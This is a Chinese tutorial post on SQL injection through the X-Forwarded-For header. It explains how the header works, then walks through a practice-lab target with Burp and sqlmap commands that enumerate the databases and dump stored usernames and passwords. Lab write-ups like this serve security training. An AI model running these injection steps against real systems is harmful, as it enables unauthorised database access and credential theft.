SQL注入之X-Forwarded-For注入漏洞

1.首先我们要知道什么是X-Forwarded-For

X-Forwarded-For 是一个 HTTP 扩展头部。HTTP/1.1(RFC 2616)协议并没有对它的定义,它最开始是由 Squid 这个缓存代理软件引入,用来表示 HTTP 请求端真实 IP。如今它已经成为事实上的标准,被各大 HTTP 代理、负载均衡等转发服务广泛使用,并被写入 RFC 7239(Forwarded HTTP Extension)标准之中。

X-Forwarded-For 请求头格式非常简单,就这样:

X-Forwarded-For: client, proxy1, proxy2

可以看到,XFF 的内容由「英文逗号 + 空格」隔开的多个部分组成,最开始的是离服务端最远的设备 IP,然后是每一级代理设备的 IP。

如果一个 HTTP 请求到达服务器之前,经过了三个代理 Proxy1、Proxy2、Proxy3,IP 分别为 IP1、IP2、IP3,用户真实 IP 为 IP0,那么按照 XFF 标准,服务端最终会收到以下信息:

X-Forwarded-For: IP0, IP1, IP2

Proxy3 直连服务器,它会给 XFF 追加 IP2,表示它是在帮 Proxy2 转发请求。列表中并没有 IP3,IP3 可以在服务端通过 Remote Address 字段获得。我们知道 HTTP 连接基于 TCP 连接,HTTP 协议中没有 IP 的概念,Remote Address 来自 TCP 连接,表示与服务端建立 TCP 连接的设备 IP,在这个例子里就是 IP3。

Remote Address 无法伪造,因为建立 TCP 连接需要三次握手,如果伪造了源 IP,无法建立 TCP 连接,更不会有后面的 HTTP 请求。不同语言获取 Remote Address 的方式不一样,例如 php 是 $_SERVER[“REMOTE_ADDR”],Node.js 是 req.connection.remoteAddress,但原理都一样。

2、靶场环境测试

IP地址 : 219.153.49.228 端口 : 48792 协议 : http

2.1 背景介绍

某业务系统,安全工程师"墨者"进行授权黑盒测试,系统的业主单位也没有给账号密码,怎么测?

2.2 解题方向

对登录表单的各参数进行测试,找到SQL注入点,对数据库内容进行读取,找到账号与密码。

2.3 解题流程

1、输入登录用户名和密码Burp抓包并在数据包中添加
X-Forwarded-For:*
这里的*会让sqlmap重点扫描( 注意这里X-Forwarded-For:必须和下方参数username隔开一行才有效)
2、将包内容复制到记事本命名为1.txt,使用sqlmap直接扫。

python sqlmap.py -r 1.txt --batch         # 直接扫出XFF注入
python sqlmap.py -r 1.txt --batch --dbs    #注出information_schema库和webcalendar库
py2 sqlmap.py -r 1.txt --batch -tables -D "webcalendar"    #注出user和password表

python sqlmap.py -r 1.txt  -D "webcalendar" -T "user" -C 'username,password' --dump --batch     # 爆出用户名和密码 
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值